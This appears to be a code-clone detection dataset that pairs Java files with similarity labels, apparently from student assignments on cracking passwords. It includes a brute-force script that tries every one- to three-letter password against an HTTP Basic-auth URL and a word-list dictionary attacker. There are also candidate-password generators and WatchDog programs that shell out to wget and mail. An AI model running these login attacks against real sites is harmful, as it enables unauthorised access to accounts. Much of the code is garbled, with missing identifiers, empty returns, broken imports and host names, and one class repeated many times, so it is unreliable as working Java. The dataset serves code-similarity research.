private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
125.java | 207.java | 0 | import java.net.*;
import java.io.*;
public class BruteForce
{
public BruteForce(String u,String uname) throws Exception
{
String pass="";
try
{
String []chr={"a","b","c","d","e","f","g","h","i","j",
"k","l","m","n","o","p","q","r","s","t",
"u","v","w","x","y","z","A","B","C","D",
"E","F","G","H","I","J","K","L","M","N",
"O","P","Q","R","S","T","U","V","W","X","Y","Z"};
URL url=new URL(u);
PasswordAuthentication pa;
MyAuthenticator =new MyAuthenticator();
HttpURLConnection h;
int c=0;
for(int i=1;i<=52;i++)
{
c++;
pass=""+chr[i-1];
pa=new PasswordAuthentication(uname,pass.toCharArray());
h.setPasswordAuthentication(pa);
Authenticator.setDefault();
h=(HttpURLConnection)url.openConnection();
h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass));
System.out.println("Try :"+chr(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")");
if(h.getResponseCode() != 401)
throw new NullPointerException();
h.disconnect();
}
for(int i=52;i>=1;i--)
{
for(int j=1;j<=52;j++)
{
c++;
pass=chr[i-1]+""+chr[j-1];
pa=new PasswordAuthentication("",pass.toCharArray());
h.setPasswordAuthentication(pa);
Authenticator.setDefault();
h=(HttpURLConnection)url.openConnection();
h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass));
System.out.println("Try :"+(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")");
if(h.getResponseCode() != 401)
throw new NullPointerException();
h.disconnect();
}
}
for(int i=52;i>0;i--)
{
for(int j=0;j<26;j++)
{
for(int k=1;k<=52;k++)
{
c++;
pass=chr[i-1]+""+chr[25-j]+""+chr[k-1];
pa=new PasswordAuthentication("",pass.toCharArray());
h.setPasswordAuthentication(pa);
Authenticator.setDefault();
h=(HttpURLConnection)url.openConnection();
h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass));
System.out.println("Try :"+(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")");
if(h.getResponseCode() != 401)
throw new NullPointerException();
h.disconnect();
pass=chr[i-1]+""+chr[51-j]+""+chr[k-1];
pa=new PasswordAuthentication("",pass.toCharArray());
h.setPasswordAuthentication(pa);
Authenticator.setDefault();
h=(HttpURLConnection)url.openConnection();
h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass));
System.out.println("Try :"+(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")");
if(h.getResponseCode() != 401)
throw new NullPointerException();
h.disconnect();
}
}
}
}
catch(NullPointerException great)
{
System.out.println("\n\n The password is cracked.\n The password is : "+pass);
}
catch(MalformedURLException mfe)
{
System.out.println("The URL :"+u+" is not a proper URL.");
}
catch(Exception e)
{
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception
{
if(args.length!=2)
System.out.println("Usage :\n java BruteForce <url> <user-name>");
else
{
System.out.println("Starting the BruteForce Attack : "+args[0]);
new BruteForce(args[0],args[1]);
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
066.java | 207.java | 0 | import java.io.*;
import java.util.*;
import java.Object;
import java.String;
class WatchDog
{
public static void main (String [] args)
{
try{
int i = 0, day1,change = 0;
Date dt = new Date();
i = dt.getDate();
System.out.println();
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students");
System.out.println("THE PROGRAMMING IS RUNNING,IF WANT EXIT,PRESS CTRL + Z\n");
System.out.println("Today is: " + dt );
for(int i= 1 ; i > 0; i++)
{
Date dt1 = new Date();
day1 = dt1.getDate();
if( i != day1)
{
System.out.println("this is: " + i );
i = day1;
change = check_web();
}
if (change == 1)
break;
}
}
catch(IOException ex)
{
System.out.println("hello,try");
}
}
public static int check_web()
{
try{
int ch=0;
String line="";
String file = "index.html";
String file1 = "index.html.1";
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students");
Runtime.getRuntime().exec("diff index.html index.html.l > diff.");
File f = new File("diff.");
if (f.length()!=0)
{
ch = 1;
Runtime.getRuntime().exec("mail @cs.rmit.edu. < diff.");
}
else
System.out.println("the webpage was not changed!!!");
File f1 = new File(file);
File f2 = new File(file1);
if(ch == 1)
{
f1.delete();
}
else
f2.delete();
return ch;
}
catch(IOException e)
{
System.out.println("hello,try again!!!");
return 1;
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
039.java | 207.java | 0 |
public class CasePasswords
{
static int verbose = CrackingConstants.quietMode;
public void CasePasswords()
{
}
public void CasePasswords(int inVerbose)
{
verbose = inVerbose;
}
public String [] createCasedPasswords( int leftIndex, int midIndex, int rightIndex, String tail, String [] lowerChars, String [] upperChars, int scanType)
{
String [] casedPasswords = null;
if(scanType == CrackingConstants.casedScan)
if(rightIndex > -1)
{
casedPasswords = new String[8];
}
else if(midIndex > -1)
{
casedPasswords = new String[4];
}
else
{
casedPasswords = new String[2];
}
else
{
casedPasswords = new String[1];
}
if(scanType == CrackingConstants.casedScan)
{
if(rightIndex > -1)
{
casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];
casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex];
casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];
casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];
casedPasswords[4] = upperChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];
casedPasswords[5] = upperChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];
casedPasswords[6] = upperChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];
casedPasswords[7] = lowerChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex];
}
else if(midIndex > -1)
{
casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex];
casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex];
casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex];
casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex];
}
else
{
casedPasswords[0] = lowerChars[leftIndex];
casedPasswords[1] = upperChars[leftIndex];
}
}
else
{
if(rightIndex > -1)
{
casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];
}
else if(midIndex > -1)
{
casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex];
}
else
{
casedPasswords[0] = lowerChars[leftIndex];
}
}
if("" != tail)
for( i = 0; i < casedPasswords.length; i++)
casedPasswords[i] += tail;
if(verbose == CrackingConstants.verboseMode2)
printPasswords(casedPasswords);
return casedPasswords;
}
public String [] createCasedPasswords(String candidate, int scanType)
{
int candLength = candidate.length();
int arrayLength = 2 ^ candLength;
arrayLength = 1;
String [] shortCasedPasswords = new String[1];
String [] casedPasswords = null;
char[] password = new char [candidate.length()];
if(scanType != CrackingConstants.simpleScan)
candidate.getChars(0, candidate.length(), password, 0);
if(scanType == CrackingConstants.simpleScan)
{
casedPasswords = new String[1];
casedPasswords[0] = candidate;
}
else if(candidate.length() == 1)
{
casedPasswords = new String[2];
casedPasswords[0] = Character.toString(Character.toLowerCase(password[0]));
casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]));
}
else if (candidate.length() == 2)
{
casedPasswords = new String[4];
casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));
casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));
casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));
casedPasswords[3] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));
}
else if (candidate.length() == 3)
{
casedPasswords = new String[8];
casedPasswords[0] = Character.toLowerCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]);
casedPasswords[1] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toUpperCase(password[2]);
casedPasswords[2] = Character.toLowerCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]);
casedPasswords[3] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toLowerCase(password[2]);
casedPasswords[4] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]);
casedPasswords[5] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toLowerCase(password[2]);
casedPasswords[6] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]);
casedPasswords[7] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toUpperCase(password[2]);
}
else if (candidate.length() > 3)
{
casedPasswords = new String[8];
String tailCharacters = new String(password, 3, (password.length - 3));
casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
casedPasswords[3] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
casedPasswords[4] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
casedPasswords[5] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
casedPasswords[6] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
casedPasswords[7] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
}
if(verbose == CrackingConstants.verboseMode2)
printPasswords(casedPasswords);
return casedPasswords;
}
private void printPasswords(String [] passwords)
{
if(passwords.length > 0)
{
for( i = 0; i < passwords.length; i++)
{
System.out.print(passwords[i] + "\t");
}
System.out.println("\n");
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
185.java | 207.java | 0 |
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;
public class Dictionary extends Frame implements ActionListener {
private TextField tf = new TextField();
private TextArea ta = new TextArea();
public void actionPerformed (ActionEvent e) {
String s = tf.getText();
String login="";
try{
BufferedReader bufr = new BufferedReader
(new FileReader ("words1.txt"));
String inputLine="";
if (s.length() != 0)
{
inputLine = bufr.readLine();
while ((inputLine != null) && (inputLine.length() != 3))
{
inputLine = bufr.readLine();
}
login=":"+inputLine;
ta.setText (fetchURL (s,login));
System.out.println("runing"+login);
}while(ta.getText().compareTo("Invalid URL")!=0 || ta.getText().compareTo("Error URL")!=0);
System.out.println("The password is: "+inputLine);
}
catch(Exception ex){}
}
public Dictionary() {
super ("URL11 Password");
add (tf, BorderLayout.LEFT);
ta.setEditable(false);
add (ta, BorderLayout.CENTER);
tf.addActionListener (this);
addWindowListener (new WindowAdapter() {
public void windowClosing (WindowEvent e) {
dispose();
System.exit(0);
}
});
}
private String fetchURL (String urlString,String login) {
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
try {
URL url = new URL (urlString);
MyAuthenticator = new MyAuthenticator();
String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());
URLConnection uc = url.openConnection();
uc.setRequestProperty ("Authorization", " " + encoding);
InputStream content = (InputStream)uc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
}
} catch (MalformedURLException e) {
pw.println ("Invalid URL");
} catch (IOException e) {
pw.println ("Error URL");
}
return sw.toString();
}
public static void main (String args[]) {
Frame f = new Dictionary();
f.setSize(300, 300);
f.setVisible (true);
}
class MyAuthenticator {
String getPasswordAuthentication(Frame f, String prompt) {
final Dialog jd = new Dialog (f, "Enter password", true);
jd.setLayout (new GridLayout (0, 1));
Label jl = new Label (prompt);
jd.add (jl);
TextField username = new TextField();
username.setBackground (Color.lightGray);
jd.add (username);
TextField password = new TextField();
password.setEchoChar ('*');
password.setBackground (Color.lightGray);
jd.add (password);
Button jb = new Button ("OK");
jd.add (jb);
jb.addActionListener (new ActionListener() {
public void actionPerformed (ActionEvent e) {
jd.dispose();
}
});
jd.pack();
jd.setVisible(true);
return username.getText() + ":" + password.getText();
}
}
}
class Base64Converter
{
public static final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public static String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public static String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
149.java | 207.java | 0 | import java.io.*;
class WatchDog {
public static void main(String args[]) {
if (args.length<1)
{
System.out.println("Correct Format Filename email address <username@cs.rmit.edu.> of the recordkeeper");
System.exit(1);
}
while (true)
{
FileInputStream stream=null;
DataInputStream word=null;
String input=" ";
try {
String ls_str;
